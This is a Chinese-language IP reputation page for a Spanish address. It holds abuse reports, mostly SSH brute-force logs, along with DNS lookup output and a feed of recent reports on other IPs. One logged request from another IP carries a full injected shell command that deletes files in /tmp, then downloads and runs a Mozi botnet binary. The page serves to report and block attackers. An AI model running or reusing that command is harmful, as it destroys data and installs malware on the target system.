必须是合法有效的IP地址, 可以是IPv4或者是IPv6, 例如127.0.0.1或者2001:DB8:0:0:8:800:200C:417A
基本信息:

城市(city): unknown

省份(region): unknown

国家(country): Spain

运营商(isp): Telefonica de Espana Sau

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): unknown

用户上报:
类型 评论内容 时间
attackspambots
(sshd) Failed SSH login from 81.45.139.249 (ES/Spain/mail.positronica.com): 5 in the last 3600 secs
2020-03-20 05:34:43
attack
Oct 16 01:03:10 XXX sshd[30438]: Invalid user demo from 81.45.139.249 port 59154
2019-10-16 11:23:47
attack
2019-10-01T17:35:35.6688491495-001 sshd\[57380\]: Invalid user davids from 81.45.139.249 port 61087
2019-10-01T17:35:35.6720071495-001 sshd\[57380\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=mail.positronica.com
2019-10-01T17:35:37.5104671495-001 sshd\[57380\]: Failed password for invalid user davids from 81.45.139.249 port 61087 ssh2
2019-10-01T17:39:45.9450681495-001 sshd\[57740\]: Invalid user ts3ovh from 81.45.139.249 port 44828
2019-10-01T17:39:45.9480241495-001 sshd\[57740\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=mail.positronica.com
2019-10-01T17:39:47.7767181495-001 sshd\[57740\]: Failed password for invalid user ts3ovh from 81.45.139.249 port 44828 ssh2
...
2019-10-02 06:43:38
attackbots
Sep 29 14:37:31 localhost sshd\[16694\]: Invalid user sen from 81.45.139.249 port 32928
Sep 29 14:37:31 localhost sshd\[16694\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=81.45.139.249
Sep 29 14:37:33 localhost sshd\[16694\]: Failed password for invalid user sen from 81.45.139.249 port 32928 ssh2
...
2019-09-30 04:16:04
attackbots
Brute force SMTP login attempted.
...
2019-09-22 02:52:11
attackbotsspam
SSH bruteforce
2019-09-17 07:06:07
attackbotsspam
Sep 14 21:23:57 v22019058497090703 sshd[10797]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=81.45.139.249
Sep 14 21:23:59 v22019058497090703 sshd[10797]: Failed password for invalid user user from 81.45.139.249 port 48712 ssh2
Sep 14 21:28:27 v22019058497090703 sshd[11103]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=81.45.139.249
...
2019-09-15 03:42:06
attack
Sep 10 10:15:13 vps200512 sshd\[31406\]: Invalid user oneadmin from 81.45.139.249
Sep 10 10:15:13 vps200512 sshd\[31406\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=81.45.139.249
Sep 10 10:15:15 vps200512 sshd\[31406\]: Failed password for invalid user oneadmin from 81.45.139.249 port 35372 ssh2
Sep 10 10:21:48 vps200512 sshd\[31609\]: Invalid user admin from 81.45.139.249
Sep 10 10:21:48 vps200512 sshd\[31609\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=81.45.139.249
2019-09-11 03:14:20
attackbots
Sep  2 00:18:14 vps691689 sshd[30994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=81.45.139.249
Sep  2 00:18:16 vps691689 sshd[30994]: Failed password for invalid user docker from 81.45.139.249 port 50236 ssh2
Sep  2 00:22:24 vps691689 sshd[31109]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=81.45.139.249
...
2019-09-02 08:53:11
attack
Aug 31 13:59:51 SilenceServices sshd[13867]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=81.45.139.249
Aug 31 13:59:54 SilenceServices sshd[13867]: Failed password for invalid user cms from 81.45.139.249 port 49844 ssh2
Aug 31 14:04:16 SilenceServices sshd[15568]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=81.45.139.249
2019-08-31 20:16:08
attackspambots
Aug  6 23:56:34 srv1 sshd[25677]: Invalid user staff from 81.45.139.249
Aug  6 23:56:37 srv1 sshd[25677]: Failed password for invalid user staff from 81.45.139.249 port 38780 ssh2
Aug  6 23:56:37 srv1 sshd[25677]: Received disconnect from 81.45.139.249: 11: Bye Bye [preauth]
Aug  7 00:09:19 srv1 sshd[28636]: Failed password for r.r from 81.45.139.249 port 34792 ssh2
Aug  7 00:09:19 srv1 sshd[28636]: Received disconnect from 81.45.139.249: 11: Bye Bye [preauth]
Aug  7 00:14:24 srv1 sshd[30169]: Invalid user radio from 81.45.139.249
Aug  7 00:14:26 srv1 sshd[30169]: Failed password for invalid user radio from 81.45.139.249 port 62837 ssh2
Aug  7 00:14:26 srv1 sshd[30169]: Received disconnect from 81.45.139.249: 11: Bye Bye [preauth]
Aug  7 00:18:58 srv1 sshd[30951]: Invalid user desktop from 81.45.139.249
Aug  7 00:19:00 srv1 sshd[30951]: Failed password for invalid user desktop from 81.45.139.249 port 57496 ssh2
Aug  7 00:19:00 srv1 sshd[30951]: Received disconnect from ........
-------------------------------
2019-08-08 03:57:58
attackspambots
Aug  6 23:56:34 srv1 sshd[25677]: Invalid user staff from 81.45.139.249
Aug  6 23:56:37 srv1 sshd[25677]: Failed password for invalid user staff from 81.45.139.249 port 38780 ssh2
Aug  6 23:56:37 srv1 sshd[25677]: Received disconnect from 81.45.139.249: 11: Bye Bye [preauth]
Aug  7 00:09:19 srv1 sshd[28636]: Failed password for r.r from 81.45.139.249 port 34792 ssh2
Aug  7 00:09:19 srv1 sshd[28636]: Received disconnect from 81.45.139.249: 11: Bye Bye [preauth]
Aug  7 00:14:24 srv1 sshd[30169]: Invalid user radio from 81.45.139.249
Aug  7 00:14:26 srv1 sshd[30169]: Failed password for invalid user radio from 81.45.139.249 port 62837 ssh2
Aug  7 00:14:26 srv1 sshd[30169]: Received disconnect from 81.45.139.249: 11: Bye Bye [preauth]
Aug  7 00:18:58 srv1 sshd[30951]: Invalid user desktop from 81.45.139.249
Aug  7 00:19:00 srv1 sshd[30951]: Failed password for invalid user desktop from 81.45.139.249 port 57496 ssh2
Aug  7 00:19:00 srv1 sshd[30951]: Received disconnect from ........
-------------------------------
2019-08-07 22:14:17
相同子网IP讨论:
暂无关于此IP所属子网相关IP的讨论.
WHOIS信息:
b
DIG信息:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 81.45.139.249
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 5259
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;81.45.139.249.			IN	A

;; AUTHORITY SECTION:
.			610	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2019080700 1800 900 604800 86400

;; Query time: 1 msec
;; SERVER: 67.207.67.2#53(67.207.67.2)
;; WHEN: Wed Aug 07 22:14:04 CST 2019
;; MSG SIZE  rcvd: 117
HOST信息:
249.139.45.81.in-addr.arpa domain name pointer mail.positronica.com.
NSLOOKUP信息:
Server:		67.207.67.2
Address:	67.207.67.2#53

Non-authoritative answer:
249.139.45.81.in-addr.arpa	name = mail.positronica.com.

Authoritative answers can be found from:
相关IP信息:
最新评论:
IP 类型 评论内容 时间
186.116.140.180 attackspambots
Automatic report - Port Scan Attack
2020-09-30 18:48:37
124.251.110.148 attackbotsspam
Time:     Wed Sep 30 08:26:18 2020 +0200
IP:       124.251.110.148 (CN/China/-)
Failures: 5 (sshd)
Interval: 3600 seconds
Blocked:  Permanent Block [LF_SSHD]

Log entries:

Sep 30 08:11:29 mail sshd[27904]: Invalid user abc from 124.251.110.148 port 41940
Sep 30 08:11:30 mail sshd[27904]: Failed password for invalid user abc from 124.251.110.148 port 41940 ssh2
Sep 30 08:22:32 mail sshd[28739]: Invalid user file from 124.251.110.148 port 37502
Sep 30 08:22:35 mail sshd[28739]: Failed password for invalid user file from 124.251.110.148 port 37502 ssh2
Sep 30 08:26:14 mail sshd[29044]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=124.251.110.148  user=root
2020-09-30 18:17:44
182.127.186.146 attack
Automatic report - Port Scan
2020-09-30 18:26:56
203.66.14.161 attackbots
Sep 30 09:55:28 gospond sshd[32749]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=203.66.14.161 
Sep 30 09:55:28 gospond sshd[32749]: Invalid user marketing from 203.66.14.161 port 55304
Sep 30 09:55:29 gospond sshd[32749]: Failed password for invalid user marketing from 203.66.14.161 port 55304 ssh2
...
2020-09-30 18:49:03
202.83.42.68 attack
202.83.42.68 - - [29/Sep/2020:21:33:55 +0100] 80 "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 403 824 "-" "Hello, world"
...
2020-09-30 18:35:00
111.229.129.64 attack
2020-09-30T05:54:05.2079781495-001 sshd[53102]: Invalid user admin from 111.229.129.64 port 51694
2020-09-30T05:54:07.0398881495-001 sshd[53102]: Failed password for invalid user admin from 111.229.129.64 port 51694 ssh2
2020-09-30T05:59:08.1008181495-001 sshd[53332]: Invalid user rich from 111.229.129.64 port 52512
2020-09-30T05:59:08.1037641495-001 sshd[53332]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.229.129.64
2020-09-30T05:59:08.1008181495-001 sshd[53332]: Invalid user rich from 111.229.129.64 port 52512
2020-09-30T05:59:10.1972871495-001 sshd[53332]: Failed password for invalid user rich from 111.229.129.64 port 52512 ssh2
...
2020-09-30 18:57:28
43.252.248.163 attack
Sep 29 23:29:09 master sshd[26951]: Did not receive identification string from 43.252.248.163
Sep 29 23:29:15 master sshd[26952]: Failed password for invalid user 888888 from 43.252.248.163 port 52052 ssh2
2020-09-30 18:37:26
196.219.142.135 attackspam
1601411592 - 09/29/2020 22:33:12 Host: 196.219.142.135/196.219.142.135 Port: 445 TCP Blocked
2020-09-30 18:54:54
138.197.66.68 attackbotsspam
Invalid user deploy from 138.197.66.68 port 36829
2020-09-30 18:17:20
190.90.140.75 attackspambots
SP-Scan 52688:445 detected 2020.09.29 21:07:45
blocked until 2020.11.18 13:10:32
2020-09-30 18:28:50
106.12.172.207 attack
Sep 30 09:12:02 vpn01 sshd[11281]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.12.172.207
Sep 30 09:12:04 vpn01 sshd[11281]: Failed password for invalid user alberto from 106.12.172.207 port 52448 ssh2
...
2020-09-30 18:44:09
111.230.29.17 attack
Invalid user cb from 111.230.29.17 port 34434
2020-09-30 18:54:37
165.227.127.49 attackspambots
165.227.127.49 - - [30/Sep/2020:12:23:18 +0200] "GET /wp-login.php HTTP/1.1" 200 8796 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
165.227.127.49 - - [30/Sep/2020:12:23:19 +0200] "POST /wp-login.php HTTP/1.1" 200 9047 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
165.227.127.49 - - [30/Sep/2020:12:23:20 +0200] "POST /xmlrpc.php HTTP/1.1" 200 427 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
2020-09-30 18:23:56
92.118.115.152 attack
E-Mail Spam (RBL) [REJECTED]
2020-09-30 18:31:20
142.44.138.213 attackbotsspam
Cowrie Honeypot: Unauthorised SSH/Telnet login attempt with user "root" at 2020-09-30T09:21:18Z
2020-09-30 18:19:15

最近上报的IP列表

18.157.167.217 25.155.175.132 43.216.169.49 14.183.73.155
70.143.136.110 138.191.221.158 189.92.254.142 27.195.88.154
204.148.40.134 174.76.157.67 82.102.27.115 183.81.73.60
88.201.36.241 5.1.106.128 1.179.155.57 193.112.77.113
86.98.71.39 218.161.93.221 182.72.105.218 85.212.244.17